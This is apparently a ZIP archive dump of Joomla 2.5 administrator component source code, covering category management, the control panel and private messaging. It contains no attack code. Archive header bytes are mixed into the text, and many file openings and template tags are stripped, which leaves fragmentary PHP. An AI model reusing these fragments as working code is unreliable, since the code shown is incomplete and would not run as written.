$form->setFieldAttribute('ordering', 'filter', 'unset'); $form->setFieldAttribute('published', 'filter', 'unset'); } return $form; } /** * A protected method to get the where clause for the reorder * This ensures that the row will be moved relative to a row with the same extension * * @param JCategoryTable $table Current table instance * * @return array An array of conditions to add to add to ordering queries. * * @since 1.6 */ protected function getReorderConditions($table) { return 'extension = ' . $this->_db->Quote($table->extension); } /** * Method to get the data that should be injected in the form. * * @return mixed The data for the form. * * @since 1.6 */ protected function loadFormData() { // Check the session for previously entered form data. $data = JFactory::getApplication()->getUserState('com_categories.edit.' . $this->getName() . '.data', array()); if (empty($data)) { $data = $this->getItem(); } return $data; } /** * Method to preprocess the form. * * @param JForm $form A JForm object. * @param mixed $data The data expected for the form. * @param string $groups The name of the plugin group to import. * * @return void * * @see JFormField * @since 1.6 * @throws Exception if there is an error in the form event. */ protected function preprocessForm(JForm $form, $data, $group = 'content') { jimport('joomla.filesystem.path'); // Initialise variables. $lang = JFactory::getLanguage(); $extension = $this->getState('category.extension'); $component = $this->getState('category.component'); $section = $this->getState('category.section'); // Get the component form if it exists jimport('joomla.filesystem.path'); $name = 'category' . ($section ? ('.' . $section) : ''); // Looking first in the component models/forms folder $path = JPath::clean(JPATH_ADMINISTRATOR . "/components/$component/models/forms/$name.xml"); // Old way: looking in the component folder if (!file_exists($path)) { $path = JPath::clean(JPATH_ADMINISTRATOR . "/components/$component/$name.xml"); } if (file_exists($path)) { $lang->load($component, JPATH_BASE, null, false, true); $lang->load($component, JPATH_BASE . '/components/' . $component, null, false, true); if (!$form->loadFile($path, false)) { throw new Exception(JText::_('JERROR_LOADFILE_FAILED')); } } // Try to find the component helper. $eName = str_replace('com_', '', $component); $path = JPath::clean(JPATH_ADMINISTRATOR . "/components/$component/helpers/category.php"); if (file_exists($path)) { require_once $path; $cName = ucfirst($eName) . ucfirst($section) . 'HelperCategory'; if (class_exists($cName) && is_callable(array($cName, 'onPrepareForm'))) { $lang->load($component, JPATH_BASE, null, false, true) || $lang->load($component, JPath::clean(JPATH_ADMINISTRATOR . '/components/' . $component), null, false, true); call_user_func_array(array($cName, 'onPrepareForm'), array(&$form)); // Check for an error. if ($form instanceof Exception) { $this->setError($form->getMessage()); return false; } } } // Set the access control rules field component value. $form->setFieldAttribute('rules', 'component', $component); $form->setFieldAttribute('rules', 'section', $name); // Trigger the default form events. parent::preprocessForm($form, $data, $group); } /** * Method to save the form data. * * @param array $data The form data. * * @return boolean True on success. * * @since 1.6 */ public function save($data) { // Initialise variables; $dispatcher = JDispatcher::getInstance(); $table = $this->getTable(); $pk = (!empty($data['id'])) ? $data['id'] : (int) $this->getState($this->getName() . '.id'); $isNew = true; // Include the content plugins for the on save events. JPluginHelper::importPlugin('content'); // Load the row if saving an existing category. if ($pk > 0) { $table->load($pk); $isNew = false; } // Set the new parent id if parent id not matched OR while New/Save as Copy . if ($table->parent_id != $data['parent_id'] || $data['id'] == 0) { $table->setLocation($data['parent_id'], 'last-child'); } // Alter the title for save as copy if (JRequest::getVar('task') == 'save2copy') { list($title, $alias) = $this->generateNewTitle($data['parent_id'], $data['alias'], $data['title']); $data['title'] = $title; $data['alias'] = $alias; } // Bind the data. if (!$table->bind($data)) { $this->setError($table->getError()); return false; } // Bind the rules. if (isset($data['rules'])) { $rules = new JAccessRules($data['rules']); $table->setRules($rules); } // Check the data. if (!$table->check()) { $this->setError($table->getError()); return false; } // Trigger the onContentBeforeSave event. $result = $dispatcher->trigger($this->event_before_save, array($this->option . '.' . $this->name, &$table, $isNew)); if (in_array(false, $result, true)) { $this->setError($table->getError()); return false; } // Store the data. if (!$table->store()) { $this->setError($table->getError()); return false; } // Trigger the onContentAfterSave event. $dispatcher->trigger($this->event_after_save, array($this->option . '.' . $this->name, &$table, $isNew)); // Rebuild the path for the category: if (!$table->rebuildPath($table->id)) { $this->setError($table->getError()); return false; } // Rebuild the paths of the category's children: if (!$table->rebuild($table->id, $table->lft, $table->level, $table->path)) { $this->setError($table->getError()); return false; } $this->setState($this->getName() . '.id', $table->id); // Clear the cache $this->cleanCache(); return true; } /** * Method to change the published state of one or more records. * * @param array $pks A list of the primary keys to change. * @param integer $value The value of the published state. * * @return boolean True on success. * * @since 2.5 */ function publish(&$pks, $value = 1) { if (parent::publish($pks, $value)) { // Initialise variables. $dispatcher = JDispatcher::getInstance(); $extension = JRequest::getCmd('extension'); // Include the content plugins for the change of category state event. JPluginHelper::importPlugin('content'); // Trigger the onCategoryChangeState event. $dispatcher->trigger('onCategoryChangeState', array($extension, $pks, $value)); return true; } } /** * Method rebuild the entire nested set tree. * * @return boolean False on failure or error, true otherwise. * * @since 1.6 */ public function rebuild() { // Get an instance of the table object. $table = $this->getTable(); if (!$table->rebuild()) { $this->setError($table->getError()); return false; } // Clear the cache $this->cleanCache(); return true; } /** * Method to save the reordered nested set tree. * First we save the new order values in the lft values of the changed ids. * Then we invoke the table rebuild to implement the new ordering. * * @param array $idArray An array of primary key ids. * @param integer $lft_array The lft value * * @return boolean False on failure or error, True otherwise * * @since 1.6 */ public function saveorder($idArray = null, $lft_array = null) { // Get an instance of the table object. $table = $this->getTable(); if (!$table->saveorder($idArray, $lft_array)) { $this->setError($table->getError()); return false; } // Clear the cache $this->cleanCache(); return true; } /** * Batch copy categories to a new category. * * @param integer $value The new category. * @param array $pks An array of row IDs. * @param array $contexts An array of item contexts. * * @return mixed An array of new IDs on success, boolean false on failure. * * @since 1.6 */ protected function batchCopy($value, $pks, $contexts) { // $value comes as {parent_id}.{extension} $parts = explode('.', $value); $parentId = (int) JArrayHelper::getValue($parts, 0, 1); $table = $this->getTable(); $db = $this->getDbo(); $user = JFactory::getUser(); $extension = JFactory::getApplication()->input->get('extension', '', 'word'); $i = 0; // Check that the parent exists if ($parentId) { if (!$table->load($parentId)) { if ($error = $table->getError()) { // Fatal error $this->setError($error); return false; } else { // Non-fatal error $this->setError(JText::_('JGLOBAL_BATCH_MOVE_PARENT_NOT_FOUND')); $parentId = 0; } } // Check that user has create permission for parent category $canCreate = ($parentId == $table->getRootId()) ? $user->authorise('core.create', $extension) : $user->authorise('core.create', $extension . '.category.' . $parentId); if (!$canCreate) { // Error since user cannot create in parent category $this->setError(JText::_('COM_CATEGORIES_BATCH_CANNOT_CREATE')); return false; } } // If the parent is 0, set it to the ID of the root item in the tree if (empty($parentId)) { if (!$parentId = $table->getRootId()) { $this->setError($db->getErrorMsg()); return false; } // Make sure we can create in root elseif (!$user->authorise('core.create', $extension)) { $this->setError(JText::_('COM_CATEGORIES_BATCH_CANNOT_CREATE')); return false; } } // We need to log the parent ID $parents = array(); // Calculate the emergency stop count as a precaution against a runaway loop bug $query = $db->getQuery(true); $query->select('COUNT(id)'); $query->from($db->quoteName('#__categories')); $db->setQuery($query); $count = $db->loadResult(); if ($error = $db->getErrorMsg()) { $this->setError($error); return false; } // Parent exists so we let's proceed while (!empty($pks) && $count > 0) { // Pop the first id off the stack $pk = array_shift($pks); $table->reset(); // Check that the row actually exists if (!$table->load($pk)) { if ($error = $table->getError()) { // Fatal error $this->setError($error); return false; } else { // Not fatal error $this->setError(JText::sprintf('JGLOBAL_BATCH_MOVE_ROW_NOT_FOUND', $pk)); continue; } } // Copy is a bit tricky, because we also need to copy the children $query->clear(); $query->select('id'); $query->from($db->quoteName('#__categories')); $query->where('lft > ' . (int) $table->lft); $query->where('rgt < ' . (int) $table->rgt); $db->setQuery($query); $childIds = $db->loadColumn(); // Add child ID's to the array only if they aren't already there. foreach ($childIds as $childId) { if (!in_array($childId, $pks)) { array_push($pks, $childId); } } // Make a copy of the old ID and Parent ID $oldId = $table->id; $oldParentId = $table->parent_id; // Reset the id because we are making a copy. $table->id = 0; // If we a copying children, the Old ID will turn up in the parents list // otherwise it's a new top level item $table->parent_id = isset($parents[$oldParentId]) ? $parents[$oldParentId] : $parentId; // Set the new location in the tree for the node. $table->setLocation($table->parent_id, 'last-child'); // TODO: Deal with ordering? //$table->ordering = 1; $table->level = null; $table->asset_id = null; $table->lft = null; $table->rgt = null; // Alter the title & alias list($title, $alias) = $this->generateNewTitle($table->parent_id, $table->alias, $table->title); $table->title = $title; $table->alias = $alias; // Store the row. if (!$table->store()) { $this->setError($table->getError()); return false; } // Get the new item ID $newId = $table->get('id'); // Add the new ID to the array $newIds[$i] = $newId; $i++; // Now we log the old 'parent' to the new 'parent' $parents[$oldId] = $table->id; $count--; } // Rebuild the hierarchy. if (!$table->rebuild()) { $this->setError($table->getError()); return false; } // Rebuild the tree path. if (!$table->rebuildPath($table->id)) { $this->setError($table->getError()); return false; } return $newIds; } /** * Batch move categories to a new category. * * @param integer $value The new category ID. * @param array $pks An array of row IDs. * @param array $contexts An array of item contexts. * * @return boolean True on success. * * @since 1.6 */ protected function batchMove($value, $pks, $contexts) { $parentId = (int) $value; $table = $this->getTable(); $db = $this->getDbo(); $query = $db->getQuery(true); $user = JFactory::getUser(); $extension = JFactory::getApplication()->input->get('extension', '', 'word'); // Check that the parent exists. if ($parentId) { if (!$table->load($parentId)) { if ($error = $table->getError()) { // Fatal error $this->setError($error); return false; } else { // Non-fatal error $this->setError(JText::_('JGLOBAL_BATCH_MOVE_PARENT_NOT_FOUND')); $parentId = 0; } } // Check that user has create permission for parent category $canCreate = ($parentId == $table->getRootId()) ? $user->authorise('core.create', $extension) : $user->authorise('core.create', $extension . '.category.' . $parentId); if (!$canCreate) { // Error since user cannot create in parent category $this->setError(JText::_('COM_CATEGORIES_BATCH_CANNOT_CREATE')); return false; } // Check that user has edit permission for every category being moved // Note that the entire batch operation fails if any category lacks edit permission foreach ($pks as $pk) { if (!$user->authorise('core.edit', $extension . '.category.' . $pk)) { // Error since user cannot edit this category $this->setError(JText::_('COM_CATEGORIES_BATCH_CANNOT_EDIT')); return false; } } } // We are going to store all the children and just move the category $children = array(); // Parent exists so we let's proceed foreach ($pks as $pk) { // Check that the row actually exists if (!$table->load($pk)) { if ($error = $table->getError()) { // Fatal error $this->setError($error); return false; } else { // Not fatal error $this->setError(JText::sprintf('JGLOBAL_BATCH_MOVE_ROW_NOT_FOUND', $pk)); continue; } } // Set the new location in the tree for the node. $table->setLocation($parentId, 'last-child'); // Check if we are moving to a different parent if ($parentId != $table->parent_id) { // Add the child node ids to the children array. $query->clear(); $query->select('id'); $query->from($db->quoteName('#__categories')); $query->where($db->quoteName('lft' ) .' BETWEEN ' . (int) $table->lft . ' AND ' . (int) $table->rgt); $db->setQuery($query); $children = array_merge($children, (array) $db->loadColumn()); } // Store the row. if (!$table->store()) { $this->setError($table->getError()); return false; } // Rebuild the tree path. if (!$table->rebuildPath()) { $this->setError($table->getError()); return false; } } // Process the child rows if (!empty($children)) { // Remove any duplicates and sanitize ids. $children = array_unique($children); JArrayHelper::toInteger($children); // Check for a database error. if ($db->getErrorNum()) { $this->setError($db->getErrorMsg()); return false; } } return true; } /** * Custom clean the cache of com_content and content modules * * @since 1.6 */ protected function cleanCache($group = null, $client_id = 0) { $extension = JRequest::getCmd('extension'); switch ($extension) { case 'com_content': parent::cleanCache('com_content'); parent::cleanCache('mod_articles_archive'); parent::cleanCache('mod_articles_categories'); parent::cleanCache('mod_articles_category'); parent::cleanCache('mod_articles_latest'); parent::cleanCache('mod_articles_news'); parent::cleanCache('mod_articles_popular'); break; default: parent::cleanCache($extension); break; } } /** * Method to change the title & alias. * * @param integer $parent_id The id of the parent. * @param string $alias The alias. * @param string $title The title. * * @return array Contains the modified title and alias. * * @since 1.7 */ protected function generateNewTitle($parent_id, $alias, $title) { // Alter the title & alias $table = $this->getTable(); while ($table->load(array('alias' => $alias, 'parent_id' => $parent_id))) { $title = JString::increment($title); $alias = JString::increment($alias, 'dash'); } return array($title, $alias); } } PKs>\)com_categories/models/.htaccessnuW+A Order allow,deny Deny from all PKs>\)%com_categories/models/forms/.htaccessnuW+A Order allow,deny Deny from all PKs>\ (com_categories/models/forms/category.xmlnuW+A
      PKs>\V&com_categories/models/forms/index.htmlnuW+A PKs>\V%com_categories/controllers/index.htmlnuW+A PKs>\)$com_categories/controllers/.htaccessnuW+A Order allow,deny Deny from all PKs>\G'com_categories/controllers/category.phpnuW+Aextension)) { $this->extension = JRequest::getCmd('extension', 'com_content'); } } /** * Method to check if you can add a new record. * * @param array $data An array of input data. * * @return boolean * * @since 1.6 */ protected function allowAdd($data = array()) { $user = JFactory::getUser(); return ($user->authorise('core.create', $this->extension) || count($user->getAuthorisedCategories($this->extension, 'core.create'))); } /** * Method to check if you can edit a record. * * @param array $data An array of input data. * @param string $key The name of the key for the primary key. * * @return boolean * * @since 1.6 */ protected function allowEdit($data = array(), $key = 'parent_id') { // Initialise variables. $recordId = (int) isset($data[$key]) ? $data[$key] : 0; $user = JFactory::getUser(); $userId = $user->get('id'); // Check general edit permission first. if ($user->authorise('core.edit', $this->extension)) { return true; } // Check specific edit permission. if ($user->authorise('core.edit', $this->extension . '.category.' . $recordId)) { return true; } // Fallback on edit.own. // First test if the permission is available. if ($user->authorise('core.edit.own', $this->extension . '.category.' . $recordId) || $user->authorise('core.edit.own', $this->extension)) { // Now test the owner is the user. $ownerId = (int) isset($data['created_user_id']) ? $data['created_user_id'] : 0; if (empty($ownerId) && $recordId) { // Need to do a lookup from the model. $record = $this->getModel()->getItem($recordId); if (empty($record)) { return false; } $ownerId = $record->created_user_id; } // If the owner matches 'me' then do the test. if ($ownerId == $userId) { return true; } } return false; } /** * Method to run batch operations. * * @param object $model The model. * * @return boolean True if successful, false otherwise and internal error is set. * * @since 1.6 */ public function batch($model = null) { JSession::checkToken() or jexit(JText::_('JINVALID_TOKEN')); // Set the model $model = $this->getModel('Category'); // Preset the redirect $this->setRedirect('index.php?option=com_categories&view=categories&extension=' . $this->extension); return parent::batch($model); } /** * Gets the URL arguments to append to an item redirect. * * @param integer $recordId The primary key id for the item. * @param string $urlVar The name of the URL variable for the id. * * @return string The arguments to append to the redirect URL. * * @since 1.6 */ protected function getRedirectToItemAppend($recordId = null, $urlVar = 'id') { $append = parent::getRedirectToItemAppend($recordId); $append .= '&extension=' . $this->extension; return $append; } /** * Gets the URL arguments to append to a list redirect. * * @return string The arguments to append to the redirect URL. * * @since 1.6 */ protected function getRedirectToListAppend() { $append = parent::getRedirectToListAppend(); $append .= '&extension=' . $this->extension; return $append; } } PKs>\>,n n )com_categories/controllers/categories.phpnuW+A true)) { $model = parent::getModel($name, $prefix, $config); return $model; } /** * Rebuild the nested set tree. * * @return bool False on failure or error, true on success. * @since 1.6 */ public function rebuild() { JSession::checkToken() or jexit(JText::_('JINVALID_TOKEN')); $extension = JRequest::getCmd('extension'); $this->setRedirect(JRoute::_('index.php?option=com_categories&view=categories&extension='.$extension, false)); // Initialise variables. $model = $this->getModel(); if ($model->rebuild()) { // Rebuild succeeded. $this->setMessage(JText::_('COM_CATEGORIES_REBUILD_SUCCESS')); return true; } else { // Rebuild failed. $this->setMessage(JText::_('COM_CATEGORIES_REBUILD_FAILURE')); return false; } } /** * Save the manual order inputs from the categories list page. * * @return void * @since 1.6 */ public function saveorder() { JSession::checkToken() or jexit(JText::_('JINVALID_TOKEN')); // Get the arrays from the Request $order = JRequest::getVar('order', null, 'post', 'array'); $originalOrder = explode(',', JRequest::getString('original_order_values')); // Make sure something has changed if (!($order === $originalOrder)) { parent::saveorder(); } else { // Nothing to reorder $this->setRedirect(JRoute::_('index.php?option='.$this->option.'&view='.$this->view_list, false)); return true; } } /** Deletes and returns correctly. * * @return void * @since 2.5.12 */ public function delete() { JSession::checkToken() or jexit(JText::_('JINVALID_TOKEN')); // Get items to remove from the request. $cid = JRequest::getVar('cid', array(), '', 'array'); $extension = JRequest::getVar('extension', null); if (!is_array($cid) || count($cid) < 1) { JError::raiseWarning(500, JText::_($this->text_prefix . '_NO_ITEM_SELECTED')); } else { // Get the model. $model = $this->getModel(); // Make sure the item ids are integers jimport('joomla.utilities.arrayhelper'); JArrayHelper::toInteger($cid); // Remove the items. if ($model->delete($cid)) { $this->setMessage(JText::plural($this->text_prefix . '_N_ITEMS_DELETED', count($cid))); } else { $this->setMessage($model->getError()); } } $this->setRedirect(JRoute::_('index.php?option=' . $this->option . '&extension=' . $extension, false)); } } PKs>\)com_categories/.htaccessnuW+A Order allow,deny Deny from all PKs>\~\ĥ %com_categories/helpers/categories.phpnuW+A 1) { $section = $parts[1]; } // Try to find the component helper. $eName = str_replace('com_', '', $component); $file = JPath::clean(JPATH_ADMINISTRATOR.'/components/'.$component.'/helpers/'.$eName.'.php'); if (file_exists($file)) { require_once $file; $prefix = ucfirst(str_replace('com_', '', $component)); $cName = $prefix.'Helper'; if (class_exists($cName)) { if (is_callable(array($cName, 'addSubmenu'))) { $lang = JFactory::getLanguage(); // loading language file from the administrator/language directory then // loading language file from the administrator/components/*extension*/language directory $lang->load($component, JPATH_BASE, null, false, true) || $lang->load($component, JPath::clean(JPATH_ADMINISTRATOR . '/components/' . $component), null, false, true); call_user_func(array($cName, 'addSubmenu'), 'categories'.(isset($section)?'.'.$section:'')); } } } } /** * Gets a list of the actions that can be performed. * * @param string $extension The extension. * @param int $categoryId The category ID. * * @return JObject * @since 1.6 */ public static function getActions($extension, $categoryId = 0) { $user = JFactory::getUser(); $result = new JObject; $parts = explode('.', $extension); $component = $parts[0]; if (empty($categoryId)) { $assetName = $component; $level = 'component'; } else { $assetName = $component.'.category.'.(int) $categoryId; $level = 'category'; } $actions = JAccess::getActions($component, $level); foreach ($actions as $action) { $result->set($action->name, $user->authorise($action->name, $assetName)); } return $result; } } PKs>\V!com_categories/helpers/index.htmlnuW+A PKs>\) com_categories/helpers/.htaccessnuW+A Order allow,deny Deny from all PKs>\rib"com_categories/tables/category.phpnuW+A\V com_categories/tables/index.htmlnuW+A PKs>\)com_categories/tables/.htaccessnuW+A Order allow,deny Deny from all PKs>\Vcom_cpanel/index.htmlnuW+A PKs>\Vcom_cpanel/views/index.htmlnuW+A PKs>\)com_cpanel/views/.htaccessnuW+A Order allow,deny Deny from all PKs>\V"com_cpanel/views/cpanel/index.htmlnuW+A PKs>\)!com_cpanel/views/cpanel/.htaccessnuW+A Order allow,deny Deny from all PKs>\V'com_cpanel/views/cpanel/tmpl/index.htmlnuW+A PKs>\)&com_cpanel/views/cpanel/tmpl/.htaccessnuW+A Order allow,deny Deny from all PKs>\"Wz(com_cpanel/views/cpanel/tmpl/default.phpnuW+A '1')); foreach ($this->modules as $module) { $output = JModuleHelper::renderModule($module); $params = new JRegistry; $params->loadString($module->params); if ($params->get('automatic_title', '0')=='0') { echo JHtml::_('sliders.panel', $module->title, 'cpanel-panel-'.$module->name); } elseif (method_exists('mod'.$module->name.'Helper', 'getTitle')) { echo JHtml::_('sliders.panel', call_user_func_array(array('mod'.$module->name.'Helper', 'getTitle'), array($params)), 'cpanel-panel-'.$module->name); } else { echo JHtml::_('sliders.panel', JText::_('MOD_'.$module->name.'_TITLE'), 'cpanel-panel-'.$module->name); } echo $output; } echo JHtml::_('sliders.end'); PKs>\j?\%com_cpanel/views/cpanel/view.html.phpnuW+Amodules = JModuleHelper::getModules('cpanel'); parent::display($tpl); } } PKs>\)com_cpanel/.htaccessnuW+A Order allow,deny Deny from all PKs>\MTcom_cpanel/controller.phpnuW+A\:eaacom_cpanel/cpanel.xmlnuW+A com_cpanel Joomla! Project April 2006 (C) 2005 - 2014 Open Source Matters. All rights reserved. GNU General Public License version 2 or later; see LICENSE.txt admin@joomla.org www.joomla.org 2.5.0 COM_CPANEL_XML_DESCRIPTION controller.php cpanel.php index.html views language/en-GB.com_cpanel.ini PKs>\Тycom_cpanel/cpanel.phpnuW+Aexecute(JRequest::getCmd('task')); $controller->redirect(); PKs>\Vcom_messages/index.htmlnuW+A PKs>\)com_messages/.htaccessnuW+A Order allow,deny Deny from all PKs>\8rrcom_messages/access.xmlnuW+A
      PKs>\V$com_messages/helpers/html/index.htmlnuW+A PKs>\\?&com_messages/helpers/html/messages.phpnuW+A array('trash.png', 'messages.unpublish', 'JTRASHED', 'COM_MESSAGES_MARK_AS_UNREAD'), 1 => array('tick.png', 'messages.unpublish', 'COM_MESSAGES_OPTION_READ', 'COM_MESSAGES_MARK_AS_UNREAD'), 0 => array('publish_x.png', 'messages.publish', 'COM_MESSAGES_OPTION_UNREAD', 'COM_MESSAGES_MARK_AS_READ') ); $state = JArrayHelper::getValue($states, (int) $value, $states[0]); $html = JHtml::_('image', 'admin/'.$state[0], JText::_($state[2]), NULL, true); if ($canChange) { $html = '' .$html.''; } return $html; } } PKs>\)#com_messages/helpers/html/.htaccessnuW+A Order allow,deny Deny from all PKs>\Vcom_messages/helpers/index.htmlnuW+A PKs>\oi[[!com_messages/helpers/messages.phpnuW+Aset($action->name, $user->authorise($action->name, 'com_messages')); } return $result; } /** * Get a list of filter options for the state of a module. * * @return array An array of JHtmlOption elements. */ static function getStateOptions() { // Build the filter options. $options = array(); $options[] = JHtml::_('select.option', '1', JText::_('COM_MESSAGES_OPTION_READ')); $options[] = JHtml::_('select.option', '0', JText::_('COM_MESSAGES_OPTION_UNREAD')); $options[] = JHtml::_('select.option', '-2', JText::_('JTRASHED')); return $options; } } PKs>\)com_messages/helpers/.htaccessnuW+A Order allow,deny Deny from all PKs>\Ycccom_messages/config.xmlnuW+A
      PKs>\)com_messages/views/.htaccessnuW+A Order allow,deny Deny from all PKs>\>ݒ(com_messages/views/message/tmpl/edit.phpnuW+A
      • form->getLabel('user_id_to'); ?> form->getInput('user_id_to'); ?>
      • form->getLabel('subject'); ?> form->getInput('subject'); ?>
      • form->getLabel('message'); ?> form->getInput('message'); ?>
      PKs>\))com_messages/views/message/tmpl/.htaccessnuW+A Order allow,deny Deny from all PKs>\YC+com_messages/views/message/tmpl/default.phpnuW+A
      • item->get('from_user_name');?>
      • item->date_time);?>
      • item->subject;?>
      • escape($this->item->message);?>
      PKs>\V*com_messages/views/message/tmpl/index.htmlnuW+A PKs>\V%com_messages/views/message/index.htmlnuW+A PKs>\n]BQ(com_messages/views/message/view.html.phpnuW+Aform = $this->get('Form'); $this->item = $this->get('Item'); $this->state = $this->get('State'); // Check for errors. if (count($errors = $this->get('Errors'))) { JError::raiseError(500, implode("\n", $errors)); return false; } parent::display($tpl); $this->addToolbar(); } /** * Add the page title and toolbar. * * @since 1.6 */ protected function addToolbar() { if ($this->getLayout() == 'edit') { JToolBarHelper::title(JText::_('COM_MESSAGES_WRITE_PRIVATE_MESSAGE'), 'new-privatemessage.png'); JToolBarHelper::save('message.save', 'COM_MESSAGES_TOOLBAR_SEND'); JToolBarHelper::cancel('message.cancel'); JToolBarHelper::help('JHELP_COMPONENTS_MESSAGING_WRITE'); } else { JToolBarHelper::title(JText::_('COM_MESSAGES_VIEW_PRIVATE_MESSAGE'), 'inbox.png'); $sender = JUser::getInstance($this->item->user_id_from); if ($sender->authorise('core.admin') || $sender->authorise('core.manage', 'com_messages') && $sender->authorise('core.login.admin')) { JToolBarHelper::custom('message.reply', 'restore.png', 'restore_f2.png', 'COM_MESSAGES_TOOLBAR_REPLY', false); } JToolBarHelper::cancel('message.cancel'); JToolBarHelper::help('JHELP_COMPONENTS_MESSAGING_READ'); } } } PKs>\)$com_messages/views/message/.htaccessnuW+A Order allow,deny Deny from all PKs>\)*com_messages/views/messages/tmpl/.htaccessnuW+A Order allow,deny Deny from all PKs>\5y~,com_messages/views/messages/tmpl/default.phpnuW+Aescape($this->state->get('list.ordering')); $listDirn = $this->escape($this->state->get('list.direction')); ?>
      items as $i => $item) : $canChange = $user->authorise('core.edit.state', 'com_messages'); ?>
      pagination->getListFooter(); ?>
      message_id); ?> escape($item->subject); ?> state, $i, $canChange); ?> user_from; ?> date_time, JText::_('DATE_FORMAT_LC2')); ?>
      PKs>\V+com_messages/views/messages/tmpl/index.htmlnuW+A PKs>\(? )com_messages/views/messages/view.html.phpnuW+Aitems = $this->get('Items'); $this->pagination = $this->get('Pagination'); $this->state = $this->get('State'); // Check for errors. if (count($errors = $this->get('Errors'))) { JError::raiseError(500, implode("\n", $errors)); return false; } parent::display($tpl); $this->addToolbar(); } /** * Add the page title and toolbar. * * @since 1.6 */ protected function addToolbar() { $state = $this->get('State'); $canDo = MessagesHelper::getActions(); JToolBarHelper::title(JText::_('COM_MESSAGES_MANAGER_MESSAGES'), 'inbox.png'); if ($canDo->get('core.create')) { JToolBarHelper::addNew('message.add'); } if ($canDo->get('core.edit.state')) { JToolBarHelper::divider(); JToolBarHelper::publish('messages.publish', 'COM_MESSAGES_TOOLBAR_MARK_AS_READ'); JToolBarHelper::unpublish('messages.unpublish', 'COM_MESSAGES_TOOLBAR_MARK_AS_UNREAD'); } if ($state->get('filter.state') == -2 && $canDo->get('core.delete')) { JToolBarHelper::divider(); JToolBarHelper::deleteList('', 'messages.delete', 'JTOOLBAR_EMPTY_TRASH'); } elseif ($canDo->get('core.edit.state')) { JToolBarHelper::divider(); JToolBarHelper::trash('messages.trash'); } //JToolBarHelper::addNew('module.add'); JToolBarHelper::divider(); $bar = JToolBar::getInstance('toolbar'); $bar->appendButton('Popup', 'options', 'COM_MESSAGES_TOOLBAR_MY_SETTINGS', 'index.php?option=com_messages&view=config&tmpl=component', 850, 400); if ($canDo->get('core.admin')) { JToolBarHelper::preferences('com_messages'); } JToolBarHelper::divider(); JToolBarHelper::help('JHELP_COMPONENTS_MESSAGING_INBOX'); } } PKs>\)%com_messages/views/messages/.htaccessnuW+A Order allow,deny Deny from all PKs>\V&com_messages/views/messages/index.htmlnuW+A PKs>\V$com_messages/views/config/index.htmlnuW+A PKs>\)(com_messages/views/config/tmpl/.htaccessnuW+A Order allow,deny Deny from all PKs>\33*com_messages/views/config/tmpl/default.phpnuW+A
      • form->getLabel('lock'); ?> form->getInput('lock'); ?>
      • form->getLabel('mail_on_new'); ?> form->getInput('mail_on_new'); ?>
      • form->getLabel('auto_purge'); ?> form->getInput('auto_purge'); ?>
      PKs>\V)com_messages/views/config/tmpl/index.htmlnuW+A PKs>\7ee'com_messages/views/config/view.html.phpnuW+Aform = $this->get('Form'); $this->item = $this->get('Item'); $this->state = $this->get('State'); // Check for errors. if (count($errors = $this->get('Errors'))) { JError::raiseError(500, implode("\n", $errors)); return false; } // Bind the record to the form. $this->form->bind($this->item); parent::display($tpl); } } PKs>\)#com_messages/views/config/.htaccessnuW+A Order allow,deny Deny from all PKs>\Vcom_messages/views/index.htmlnuW+A PKs>\tcom_messages/controller.phpnuW+AcheckEditId('com_messages.edit.message', $id)) { // Somehow the person just went to the form - we don't allow that. $this->setError(JText::sprintf('JLIB_APPLICATION_ERROR_UNHELD_ID', $id)); $this->setMessage($this->getError(), 'error'); $this->setRedirect(JRoute::_('index.php?option=com_messages&view=messages', false)); return false; } parent::display(); // Load the submenu. MessagesHelper::addSubmenu(JRequest::getCmd('view', 'messages')); } } PKs>\= com_messages/models/messages.phpnuW+AgetUserStateFromRequest($this->context.'.filter.search', 'filter_search'); $this->setState('filter.search', $search); $state = $this->getUserStateFromRequest($this->context.'.filter.state', 'filter_state', '', 'string'); $this->setState('filter.state', $state); // List state information. parent::populateState('a.date_time', 'desc'); } /** * Method to get a store id based on model configuration state. * * This is necessary because the model is used by the component and * different modules that might need different sets of data or different * ordering requirements. * * @param string A prefix for the store id. * * @return string A store id. */ protected function getStoreId($id = '') { // Compile the store id. $id .= ':'.$this->getState('filter.search'); $id .= ':'.$this->getState('filter.state'); return parent::getStoreId($id); } /** * Build an SQL query to load the list data. * * @return JDatabaseQuery */ protected function getListQuery() { // Create a new query object. $db = $this->getDbo(); $query = $db->getQuery(true); $user = JFactory::getUser(); // Select the required fields from the table. $query->select( $this->getState( 'list.select', 'a.*, '. 'u.name AS user_from' ) ); $query->from('#__messages AS a'); // Join over the users for message owner. $query->join('INNER', '#__users AS u ON u.id = a.user_id_from'); $query->where('a.user_id_to = '.(int) $user->get('id')); // Filter by published state. $state = $this->getState('filter.state'); if (is_numeric($state)) { $query->where('a.state = '.(int) $state); } elseif ($state === '') { $query->where('(a.state IN (0, 1))'); } // Filter by search in subject or message. $search = $this->getState('filter.search'); if (!empty($search)) { $search = $db->Quote('%'.$db->escape($search, true).'%', false); $query->where('a.subject LIKE '.$search.' OR a.message LIKE '.$search); } // Add the list ordering clause. $query->order($db->escape($this->getState('list.ordering', 'a.date_time')).' '.$db->escape($this->getState('list.direction', 'DESC'))); //echo nl2br(str_replace('#__','jos_',$query)); return $query; } } PKs>\ȳoo%com_messages/models/forms/message.xmlnuW+A
      PKs>\V$com_messages/models/forms/index.htmlnuW+A PKs>\)#com_messages/models/forms/.htaccessnuW+A Order allow,deny Deny from all PKs>\O$com_messages/models/forms/config.xmlnuW+A
      PKs>\DT+com_messages/models/fields/usermessages.phpnuW+AgetQuery(true); $query->select('id'); $query->from('#__usergroups'); $db->setQuery($query); $groups = $db->loadColumn(); // Check for a database error. if ($db->getErrorNum()) { JError::raiseNotice(500, $db->getErrorMsg()); return null; } foreach ($groups as $i=>$group) { if (JAccess::checkGroup($group, 'core.admin')) { continue; } if (!JAccess::checkGroup($group, 'core.manage', 'com_messages')) { unset($groups[$i]); continue; } if (!JAccess::checkGroup($group, 'core.login.admin')) { unset($groups[$i]); continue; } } return array_values($groups); } /** * Method to get the users to exclude from the list of users * * @return array|null array of users to exclude or null to to not exclude them * @since 1.6 */ protected function getExcluded() { return array(JFactory::getUser()->id); } } PKs>\V%com_messages/models/fields/index.htmlnuW+A PKs>\)$com_messages/models/fields/.htaccessnuW+A Order allow,deny Deny from all PKs>\3com_messages/models/message.phpnuW+AsetState('user.id', $user->get('id')); $messageId = (int) JRequest::getInt('message_id'); $this->setState('message.id', $messageId); $replyId = (int) JRequest::getInt('reply_id'); $this->setState('reply.id', $replyId); } /** * Check that recipient user is the one trying to delete and then call parent delete method * * @param array &$pks An array of record primary keys. * * @return boolean True if 